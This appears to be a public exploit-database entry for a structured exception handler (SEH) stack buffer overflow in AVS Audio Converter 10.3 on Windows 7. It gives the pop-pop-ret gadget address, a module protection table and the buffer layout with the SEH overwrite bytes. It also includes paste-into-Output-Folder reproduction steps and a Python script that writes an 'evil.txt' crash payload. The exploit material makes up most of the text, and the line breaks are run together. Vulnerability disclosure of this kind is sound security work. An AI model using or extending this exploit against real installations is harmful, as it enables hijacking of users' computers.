    # Exploit Title: AVS Audio Converter 10.3 - Stack Overflow (SEH)# Discovered by: Yehia Elghaly - Mrvar0x# Discovered Date: 2022-10-16# Tested Version: 10.3.1.633# Tested on OS: Windows 7 Professional x86#pop+ret Address=005154E6#Message=  0x005154e6 : pop ecx # pop ebp # ret 0x04 | startnull {PAGE_EXECUTE_READ} [AVSAudioConverter.exe] #ASLR: False, Rebase: False, SafeSEH: False, OS: False, v10.3.1.633 (C:\Program Files\AVS4YOU\AVSAudioConverter\AVSAudioConverter.exe)# The only module that has SafeSEH disabled.# Base       | Top        | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | # 0x00400000 | 0x01003000 | False  | False   | False |  False   | False  |#Allocating 4-bytes for nSEH which should be placed directly before SEH which also takes up 4-bytes.#Buffer  = '\x41'* 260#nSEH    = '\x42'*4#SEH     = '\x43'*4#ESI     = 'D*44' # ESI Overwrite #buffer = "A"*260 + [nSEH] + [SEH] + "D"*44#buffer = "A"*260 + "B"*4 + "\xE6\x54\x51\x05" + "D"*44# Rexploit:# Generate the 'evil.txt' payload using python 2.7.x on Linux.# Open the file 'evil.txt' Copy.# Paste at'Output Folder and click 'Browse'.#!/usr/bin/python -w  filename="evil.txt" buffer = "A"*260 + "B"*4 + "C"*4 + "D"*44  textfile = open(filename , 'w')textfile.write(buffer)textfile.close()

Tag

#linux